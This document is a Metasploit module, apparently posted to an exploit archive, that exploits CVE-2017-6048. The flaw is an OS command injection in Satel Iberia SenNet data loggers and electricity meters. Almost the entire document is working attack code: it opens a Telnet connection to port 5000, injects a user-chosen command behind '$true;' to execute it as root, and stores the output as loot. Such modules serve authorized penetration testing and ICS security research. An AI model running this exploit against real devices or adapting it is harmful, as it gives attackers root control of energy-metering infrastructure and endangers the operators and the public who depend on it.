Satel Iberia SenNet Data Logger And Electricity Meters Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Telnet  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability',  
'Description' => %q{  
This module exploits an OS Command Injection vulnerability in Satel Iberia SenNet Data Loggers & Electricity Meters  
to perform arbitrary command execution as 'root'.  
},  
'References' =>  
[  
[ 'CVE', '2017-6048' ],  
[ 'URL', 'https://ipositivesecurity.com/2017/04/07/sennet-data-logger-appliances-and-electricity-meters-multiple-vulnerabilties/' ],  
[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-17-131-02' ]  
],  
'Author' =>  
[  
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'  
],  
'DisclosureDate' => '2017-04-07',  
'License' => MSF_LICENSE,  
'DefaultOptions' => { 'VERBOSE' => true })  
)  
  
register_options(  
[  
Opt::RPORT(5000),  
OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30]),  
OptString.new('CMD', [true, 'Command(s) to run', 'id'])  
], self.class  
)  
  
deregister_options('USERNAME', 'PASSWORD')  
end  
  
def run_host(ip)  
to = (datastore['TIMEOUT'].zero?) ? 30 : datastore['TIMEOUT']  
begin  
::Timeout.timeout(to) do  
command = datastore['CMD']  
inject = "$true; #{command}"  
res = connect  
  
print_status("Sending command now - #{command}")  
  
sock.puts(inject)  
data = sock.get_once(-1, to)  
print_good("#{data}")  
  
loot_name = 'cmd-exec-log'  
loot_type = 'text/plain'  
loot_desc = 'Satel SenNet CMD Exec Dump'  
p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)  
print_good("File saved in: #{p}")  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
print_error("#{rhost}:#{rport} - Connection Failed...")  
return false  
ensure  
disconnect  
end  
end  
end  
`